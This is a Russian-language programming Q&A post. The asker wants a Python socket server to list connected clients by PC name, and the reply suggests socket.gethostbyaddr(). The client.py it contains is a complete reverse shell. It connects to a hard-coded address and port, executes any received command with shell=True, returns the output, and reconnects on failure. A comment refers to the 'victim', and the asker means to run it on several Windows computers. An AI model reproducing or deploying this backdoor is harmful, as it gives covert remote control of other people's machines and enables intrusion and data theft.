как получить имя пользователя P C при программировании сокетов python - PullRequest
0 голосов
/ 24 апреля 2020

Я пишу программный код сокета client.py и server.py, и он работает потрясающе. Теперь я сталкиваюсь с небольшой проблемой, я хочу получить имя P C и показать, что это устройство подключено ниже, это код. Я пробовал другой метод, но все не удалось. По сути, в моей сети есть пара компьютеров Windows, на которых будет запущен сценарий python. Таким образом, с помощью этого метода я узнаю все имя компьютера

client.py

import os, socket, subprocess ,getpass

def shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = '192.168.100.9'
    port = 9995

    s.connect((host, port))
    # userName = getpass.getuser()
    # s.send(str.encode(userName))
    # print(userName)
    while True:
        try:
            data = s.recv(800000)
            if data[:2].decode("utf-8") == 'cd':
                os.chdir(data[3:].decode("utf-8"))

            if len(data) > 0:
                cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
                output_byte = cmd.stdout.read() + cmd.stderr.read()
                output_str = str(output_byte,"utf-8")
                currentWD = os.getcwd() + "> "
                s.send(str.encode(output_str + currentWD))

                # print(output_str)       # if you want to show the output to the victim
        except:
            shell()


if __name__ == "__main__":
    shell()

ниже приведен код сервера

server.py 

def list_connections():
    results = ''

    for i, conn in enumerate(all_connections):
        try:
            conn.send(str.encode(' '))
            conn.recv(80000000)
        except:
            del all_connections[i]
            del all_address[i]
            continue

        results = str(i) + "   " + str(all_address[i][0]) + "   " + str(all_address[i][1]) + "\n"
     print("----Clients----" + "\n" + results)

, который дал мне вывод, подобный этому

output::
----Clients----
0   192.168.100.9   55747

Я хочу вывод как это :::

output::
----Clients----
0 PC_NAME 192.168.100.9 55747

1 Ответ

0 голосов
/ 24 апреля 2020

Вы можете попытаться вызвать socket.gethostbyaddr() на IP-адресе.

Однако это зависит от конфигурации DNS серверной системы - реальной гарантии того, что машины зарегистрированы, нет. их имена с локальным сервером имен.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...